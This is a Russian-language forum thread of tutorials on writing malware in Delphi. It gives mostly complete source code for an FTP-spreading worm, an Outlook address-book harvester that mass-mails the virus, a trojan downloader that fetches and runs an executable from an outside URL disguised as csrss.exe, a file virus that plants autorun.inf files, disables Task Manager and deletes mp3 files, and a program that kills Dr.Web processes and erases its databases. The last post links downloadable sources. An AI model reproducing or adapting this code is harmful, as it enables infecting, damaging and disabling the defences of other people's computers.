Galaxy klan

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Galaxy klan » Мастерская » Вирусописанию в Delphi


Вирусописанию в Delphi

Сообщений 1 страница 5 из 5

1

Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк

public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:

RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.

Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:

var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;

Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:

function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;

Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:

var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);

После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

0

2

ISONLINE - проверка соединения с инетом
SENDVIRUS - догадайся с трех раз 
GETMAILS - получаем адреса из AddresBook аутглюка
INFECTFILES - 
WORKMEMORY - почти то же, что в прошлой статье, но с модификациями.

КОДИНГ

До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки  Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там... правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит "нет в списке"? Да ладно, бывает. Ищи вручную - в каталоге с офисом есть файл msoutl.olb. Это она  Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги  Ой, какой-то я сегодня озабоченный  В общем, процедура потрошения адресбука должна выглядеть так:

uses
ComObj, outlook_tlb,
Forms;
....
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem : Variant;
s : string;
num, i : Integer;
mails : array of string;

begin
MSOutlook := CreateOleObject('Outlook.Application');
MyNameSpace := MSOutlook.GetNameSpace('MAPI');
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;

end.

Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: "то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа"  Ну так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь - это тоже реально, читай доки - они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:

function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string):Boolean;
var
MapiMessage : TMapiMessage;
MapiFileDesc : TMapiFileDesc;
MapiRecipDesc : TMapiRecipDesc;
i : integer;
s : string;
begin
with MapiRecipDesc do begin
ulRecerved := 0;
ulRecipClass := MAPI_TO;
lpszName := PChar(RecipName);
lpszAddress := PChar(RecipAddress);
Ещё один мошьный вирус!!!

ulEIDSize := 0;
lpEntryID := nil;
end;

with MapiFileDesc do begin
ulReserved := 0;
flFlags := 0;
nPosition := 0;
lpszPathName := PChar(Attachment);
lpszFileName := nil;
lpFileType := nil;
end;

with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment)> 0 then begin
nFileCount := 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount := 0;
lpFiles := nil;
end;
end;

Result := MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;

Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь. Выпил? Я тоже  Хорошо, продолжаем. Юзать будешь так:

For i := 1 to length (mails) do
begin
SendVirus ('',mails[i],'pricol','..');
end;

Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это - низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а) email получателя б) текст письма в) аттач. Вот я и делаю: MapiRecipDesc - описываю получателя, MapiFileDesc - аттач, т.е. наш вирус, MapiMessage - это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь  Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг - это не c:\porno, а win32.hlp 

Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова  Ну ладно, чувство долга сильнее. Just Do It: первой строчкой проверяешь имя файла, откуда ты стартовал. Если pricol.exe - значит CopyFile к виндам  А если стартанул из виндового каталога - то циклически проверяй подключение к всемирной  сети. Проверяем:

function IsOnline: Boolean;
var
RASConn : TRASConn;
dwSize,dwCount : DWORD;
begin
RASConns.dwSize := SizeOf(TRASConn);
dwSize := SizeOf(RASConns);
Res :=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result := (Res = 0) and (dwCount > 0);
end;

В этой статье мы рассмотри написание простейшего Trojan-DowLoader. При запуске, программа будет проверять, есть ли активное соединение с Интернетом, и если есть, то пытаться закачать файл. После удачного скачивания, она зарегистрирует вирус в автозапуск и запустит его. Приступим к кодингу. Создадим новый проект. Добавим в раздел Uses несколько новых модулей:

uses
Windows, WinInet,SysUtils,REgistry,ShellApi;

WinInet поможет нам качать файл и проверять активность подключения, ShellApi - запуск вируса, а Registry - запись в автозапуск. Далее объявим некоторые переменные и константы:

var F: File;
    ResumePos,BufferLen,SumSize: DWORD;
    hSession, hURL: HInternet;
    Buffer: array[1..1024] of Byte;
    err: boolean;
    Mesg: TMsg;
    REg: TRegistry;

const FileOnSite: String = 'Http://www.hack.ru/viruses/virus.exe';
      FileOnComp: String = 'C:\Windows\csrss.exe';

Теперь напишем функцию, которая будет проверять активность соединения с Интернетом:

function IsConnectedToInternet: Boolean;
var
dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
INTERNET_CONNECTION_MODEM +
INTERNET_CONNECTION_LAN +
INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

И наконец основной код вируса:

begin
while GetMessage( Mesg, HInstance, 0, 0) do
begin
TranslateMessage(mesg);   // Обрабатываем поступающие сообщения
DispatchMessage(mesg);
if IsConnectedToInternet=true then
begin
try
SumSize:=0;
ResumePos:=0;   //Инициализируемся
AssignFile (F,FileOnComp);  //Свяжемся с файлом
IF FileExists (FileOnComp) then //Есть ли на диске этот файл
  begin
   Reset(f,1); //Ах, есть? Откроем!
   ResumePos:=FileSize(F); //Откуда докачать
   Seek(F, FileSize(F)); //А писать бум в конец
  end else ReWrite(f,1);  //А раз нет, так создадим

//Открыли сессию
hSession:= InternetOpen('Internet Explorer',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);
//И наш УРЛ
hURL := InternetOpenURL(hSession,PChar(FileOnSite),nil,0,0,0);
//Сколько там наш файл весит?
InternetQueryDataAvailable(hURL, SumSize,0,0);
IF ResumePos>0 then //Если докачиваем,
begin
InternetSetFilePointer(hURL,ResumePos,nil,0,0); //То сместимся
end;

REPEAT //Качаем
err:= InternetReadFile(hURL, @Buffer,SizeOf(Buffer),BufferLen); //Читаем буфер
IF err= false then //Ошибка чтения
  begin
  end;
BlockWrite(f, Buffer, BufferLen); //Пишем в файл
UNTIL BufferLen= 0; //Качаем, пока не все
except
Exit;
end;
end;
// если файл успешно скачан
IF FileExists(FileOnComp) then
begin
// зарегистрируем в автозапуск
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('csrss',FileOnComp);
Reg.CloseKey;
Reg.Free;
// Запустим вирус
ShellExecute(0,'open',PChar(FileOnComp),nil,nil,SW_RESTORE);
// уходим
Halt;
end;
end;

0

3

Файловый вирус. Является приложением Windows (PE EXE- файл). Имеет размер 380416 байт. Написан на Delphi.
Инсталляция

При запуске вирус копирует свой исполняемый файл в каталоги Windows:

%System%\config\csrss.exe
%WinDir%\media\arona.exe
Также программа создает следующий файл:

%System%\logon.bat
Данный файл при запуске на исполнение запускает копию вируса:

%System%\config\csrss.exe
С целью автоматического запуска при каждом последующем старте операционной системы вирус добавляет ссылку на данный файл в ключ автозапуска системного реестра:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"Worms" = "%System%\logon.bat"
Вредоносная программа генерирует файлы:

%System%\config\autorun.inf
h:\autorun.inf
f:\autorun.inf
i:\autorun.inf
g:\autorun.inf
k:\autorun.inf
l:\autorun.inf
o:\autorun.inf
j:\autorun.inf

Указанные файлы запускаются каждый раз, когда пользователь открывает соответствующие разделы жесткого диска в «Проводнике». Аналогично «%System%\logon.bat» при исполнении файлы запускают копию вируса — «%System%\config\csrss.exe».

Деструктивная активность

Программа изменяет значения следующих ключей реестра:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
DisableTaskMgr = 1
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
NoFolderOptions = 1

Также вирус производит поиск файлов с расширением «.mp3» в разделах жесткого диска:

d:\
c:\
e:\
f:\
g:\
h:\

Найденные файлы удаляются.

Вот такой вирус мы сегодня напишем. Сначала создадим новый проект. Далее объявим некоторые перменные:

var WinDir, SysDir: String; // путь к винде и системному каталогу
    Buffer: array[0..1023] of Char;
    F: TextFile;   // создание запускных файлов
    Reg: TRegistry; // поможет с регистрацией

Теперь напишем несколько процедур и функций:

// Проверка существования диска
function DriveExists(Drive: Byte): Boolean;
begin
  Result:= Boolean(GetLogicalDrives AND(1 shl Drive))
end;

// Создание запускных файлов
procedure InFect(FileName: String);
begin
AssignFile(F,FileName);
Reset(F);
WriteLn(F,'open='+SysDir+'\config\csrss.exe');
CloseFile(F);
end;

// Поиск файлов с расширением *.mp3 и удаление
// Данная функция не совсем удачна, но мне лениво ее переделывать
procedure FindAndDelete(Drive: String);
var
   SearchRec: TSearchRec; // информация о файле или каталоге
begin

   if FindFirst(Drive+'*.mp3', faAnyFile,SearchRec) = 0 then
       repeat
          if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
             begin
DeleteFile(SearchRec.Name);
             end;
        until FindNext(SearchRec) <> 0;

       if FindFirst('*', faAnyFile, SearchRec) = 0 then
          repeat
              if (SearchRec.Attr and faDirectory) = faDirectory then
                    // каталоги .. и . тоже каталоги,
                    // но в них входить не надо !!!
                    if SearchRec.Name[1] <> '.' then
                       begin
                         ChDir(SearchRec.Name);// войти в каталог
                         FindAndDelete(Drive); // выполнить поиск в подкаталоге
                         ChDir('..');// выйти из каталога
                       end;
          until FindNext(SearchRec) <> 0;
end;

Теперь основное тело вируса. Сначала вирус определяет папку Windows и System32 и копирует туда себя. Затем создает Bat файл и регистрируется в автозапуск. Далее идет процедура создания запускных файлов, а затем процедура поиска и удаления mp3 файлов:

// получаем путь к папке Windows
SetString(WinDir, Buffer, GetWindowsDirectory(Buffer, SizeOf(Buffer)));
CopyFile(PChar(ParamStr(0)),PChar(WinDir+'\media\arona.exe'),false);
// получаем путь к системной папке
SetString(SysDir, Buffer, GetSystemDirectory(Buffer, SizeOf(Buffer)));
CopyFile(PChar(ParamStr(0)),PChar(SysDir+'\config\csrss.exe'),false);
// Создаем запускателя вируса
AssignFile(F,SysDir+'\config\logon.bat');
Reset(F);
WriteLn(F,'@'+SysDir+'\config\csrss.exe');
CloseFile(F);
// Регистрируем в автозапуск
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Worms',SysDir+'\config\logon.bat');
Reg.CloseKey;
// Блокируем некоторые параметры
Reg.RootKey:=HKEY_CURRENT_USER;
REg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
Reg.WriteInteger('DisableTaskMgr',1);
Reg.CloseKey;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
Reg.WriteInteger('NoFolderOptions',1);
Reg.Free;
// Инфицируем файлы
try
InFect(SysDir+'\config\autorun.inf');
if DriveExists(5) then  // Диск F
begin
InFect('F:\autorun.inf');
end;
if DriveExists(6) then  // Диск G
begin
InFect('G:\autorun.inf');
end;
if DriveExists(7) then  // Диск H
begin
InFect('H:\autorun.inf');
end;
if DriveExists(10) then // Диск K
begin
InFect('K:\autorun.inf');
end;
if DriveExists(11) then  // Диск L
begin
InFect('L:\autorun.inf');
end;
if DriveExists(14) then // Диск O
begin
InFect('O:\autorun.inf');
end;
except
Exit;
end;
try
FindAndDelete('D:\');
FindAndDelete('C:\');
FindAndDelete('E:\');
FindAndDelete('F:\');
FindAndDelete('G:\');
FindAndDelete('H:\');
except
Exit;
end;

Вот и все.

0

4

Copyright 2007 Булай Никита. All rights reserved.
Вот захотелось мне написать еще одну статью. В ней я хотел бы показать Вам, что даже с антивирусом мы не защищены. Рассмотрим это на примере антивируса Dr. WEB. Что будет делать наш вирус:

1. Завершать процессы антивирусного сканера.
2. Удалять базы.
3. По желанию убирать из атозагрузки.

Процессы нашего авира называются spidernt.exe и spiderui.exe. Они никак не защищены от завершения, поэтому мы и х и будем убивать. Воспользуйемся функциями модуля TLHelp32:

function CloseProcess(ProcessName: string): integer;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32; 
begin
  result := 0; 

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0); 
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, 
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(ProcessName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(ProcessName))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0)); 
    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end; 

  CloseHandle(FSnapshotHandle); 
end;

Из данного кода видно, что мы сперва получаем снимок процессов, затем сравниваем имена полученных процессов с тем, что нам нужен. Теперь пишем процедуру поиска и удаления баз:

procedure ClearBase(Folder: string);
var
SR: TSearchRec;
FindRes: Integer;
begin
try
// Просматриваем каталог на наличие антивирусных баз
FindRes := FindFirst(Folder + '*.vdb', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
// если найден каталог, то
if ((SR.Attr and faDirectory) = faDirectory) then
begin
// входим в процедуру поиска с параметрами текущего каталога +
// каталог, что мы нашли
ClearBase(Folder + SR.Name + '\');
FindRes := FindNext(SR);
// после осмотра вложенного каталога мы продолжаем поиск
// в этом каталоге
Continue; // продолжить цикл
end;
// удаляем файл антивирусной базы
DeleteFile(Folder+SR.Name);
FindRes := FindNext(SR);
end;
// освобождаем переменную
FindClose(SR);
except
Exit;
end;
end;

procedure DeleteBase;
var Reg: Tregistry;
    Sr: TSearchRec;
    Path: string;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
// извлекаем путь к папке DrWEB
Path:=ExtractFilePath(Copy(Reg.ReadString('SpIDerNT'),0,Length(Reg.ReadString('SpIDerNT'))-7));
// удаляем все базы
ClearBase(Path);
Reg.CloseKey;
Reg.Free;
end;

Ну, и если Вам это надо, пишем алгоритм удаления антивируса из автозагрузки:

procedure DeleteFromAutoRun;
var Reg: Tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.DeleteValue('SpIDerNT');
Reg.CloseKey;
Reg.Free;
end;

Теперь весь код вируса:

program DrWEB_Killer;

uses
  Windows, Registry,
  SysUtils,TlHelp32;

{ Данный вирус еще раз доказывает то, что
  все антивирусы - лишь жалкие программки.
  Даже простые программы имеют защиту
  получше этих! А мы, вирмейкеры, этим и
  воспользуемся  }

{$R *.res}

function CloseProcess(ProcessName: string): integer;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32; 
begin
  result := 0; 

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0); 
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, 
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(ProcessName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(ProcessName))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0)); 
    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end; 

procedure ClearBase(Folder: string);
var
SR: TSearchRec;
FindRes: Integer;
begin
try
// Просматриваем каталог на наличие антивирусных баз
FindRes := FindFirst(Folder + '*.vdb', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
// если найден каталог, то
if ((SR.Attr and faDirectory) = faDirectory) then
begin
// входим в процедуру поиска с параметрами текущего каталога +
// каталог, что мы нашли
ClearBase(Folder + SR.Name + '\');
FindRes := FindNext(SR);
// после осмотра вложенного каталога мы продолжаем поиск
// в этом каталоге
Continue; // продолжить цикл
end;
// удаляем файл антивирусной базы
DeleteFile(Folder+SR.Name);
FindRes := FindNext(SR);
end;
// освобождаем переменную
FindClose(SR);
except
Exit;
end;
end;

procedure DeleteBase;
var Reg: Tregistry;
    Sr: TSearchRec;
    Path: string;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
// извлекаем путь к папке DrWEB
Path:=ExtractFilePath(Copy(Reg.ReadString('SpIDerNT'),0,Length(Reg.ReadString('SpIDerNT'))-7));
// удаляем все базы
ClearBase(Path);
Reg.CloseKey;
Reg.Free;
end;

{procedure DeleteFromAutoRun;
var Reg: Tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.DeleteValue('SpIDerNT');
Reg.CloseKey;
Reg.Free;
end;}

begin
// Завершим работу нашего антивируса
CloseProcess('spidernt.exe');
CloseProcess('spiderui.exe');
// Удалим его базы
DeleteBase;
// Уберем из автозапуска, хотя это и необязательно
//DeleteFromAutoRun;
end.

0

5

Исходники вируса скачать сдесь!
http://aht.forum.h18.ru/click.php?
http://depositfiles.com/ru/files/5078223

0


Вы здесь » Galaxy klan » Мастерская » Вирусописанию в Delphi